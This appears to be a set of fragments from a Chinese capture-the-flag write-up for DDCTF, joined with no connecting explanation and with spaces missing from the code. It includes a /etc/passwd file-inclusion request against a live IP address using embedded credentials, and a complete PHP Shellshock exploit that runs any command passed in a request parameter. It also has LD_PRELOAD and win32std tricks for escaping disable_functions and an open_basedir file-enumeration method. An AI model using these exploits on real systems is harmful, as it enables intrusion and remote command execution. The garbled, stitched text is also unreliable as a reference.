solve = Solver() X = [Int('x%s' % i) for i in range(35) ] for i in range(len(s)): for j in range(len(s[i][:-1])): result[i]+=int(s[i][j])*X[j] for i in range(len(s)): solve.add(result[i]==int(s[i][-1])) print solve.check() m = solve.model() print "traversing model..." pri=[] for i in range(35): pri.append(int("%s" % (m[X[i]]))) print pri
import hmac import base64 import time import requests t = time.time() print(t) t = str(t)
t = t[:10] cmd="99-9" s = "{}|".format(cmd) + t print(s) t = bytes(s, encoding = "utf8") message = t key = b'DDCTFWithYou' h = hmac.new(key,message,digestmod='SHA256') signature=base64.b64encode(h.digest()).decode()
if(!isset($bullet)) { highlight_file(__FILE__); die("Give Me Something!"); }elseif($bullet == 'phpinfo') { $infos = new Info(); }else { $obstacle1 = newstdClass; $obstacle2 = newstdClass; $mc = new MyClass(); $mc->flag = "MyClass's flag said, Overwrite Me If You Can!"; @unserialize($bullet); echo$mc->get_flag(); }
直接访问hint.php
得到:Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!
@app.route("/search") defsearch_handler(): keyword = request.args.get('keyword') if keyword isNone: return jsonify(DATASET) else: ret = {} for i in DATASET: if keyword in DATASET[i]: ret[i] = DATASET[i] return jsonify(ret), 200iflen(ret) else404
//username:Admin1964752 //password:DsaPPPP!@#amspe1221 //Secret **** is your birthday
文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13
POST /public/nationalsb/login.php HTTP/1.1 Host: 39.99.41.124 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16
file=/etc/passwd
1 2
Warning</b>: include(): Failed opening 'php://filter/read=convert.base64-encode/resource=index.php' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/public/nationalsb/login.php
1 2 3 4 5
GET /public/index.php?s=/index/Index/hello&s3cr3tk3y= HTTP/1.1 Authorization: Basic QWRtaW4xOTY0NzUyOkRzYVBQUFAhQCNhbXNwZTEyMjE= Host: 39.99.41.124 Connection: close
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php namespaceapp\index\controller;
classIndexextends \think\Controller{ publicfunctionindex(){ $ip = $_SERVER['REMOTE_ADDR']; echo"Warning"."<br/>"; echo"You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior"; echo'<meta http-equiv="refresh" content="1;url=http://127.0.0.1/public/test">'; } publicfunctionhello(){ unserialize(base64_decode($_GET['s3cr3tk3y'])); echo(base64_decode($_GET['s3cr3tk3y'])); } }
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) # Google Dork: none # Date: 10/31/2014 # Exploit Author: Ryan King (Starfall) # Vendor Homepage: http://php.net # Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror # Version: 5.* (tested on 5.6.2) # Tested on: Debian 7 and CentOS 5 and 6 # CVE: CVE-2014-6271 <pre> <?phpecho"Disabled functions: ".ini_get('disable_functions')."\n"; ?> <?php functionshellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283 if(strstr(readlink("/bin/sh"), "bash") != FALSE) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); // In Safe Mode, the user may only alter environment variables whose names // begin with the prefixes supplied by this directive. // By default, users will only be able to set environment variables that // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, // PHP will let the user modify ANY environment variable! mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail } elsereturn"Not vuln (not bash)"; $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return$output; elsereturn"No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
__attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }
if (!extension_loaded("win32std")) die("win32std extension required!"); system("cmd.exe"); //just to be sure that protections work well win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
realpath是php中一个将相对路径转化为绝对路径的方法,而如果开启了open_basedir的话,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s),所以这个时候就可以类似于报错盲注去爆出文件名了 这里有个小trick,利用windows下的通配符<和>去进行爆破可以快一点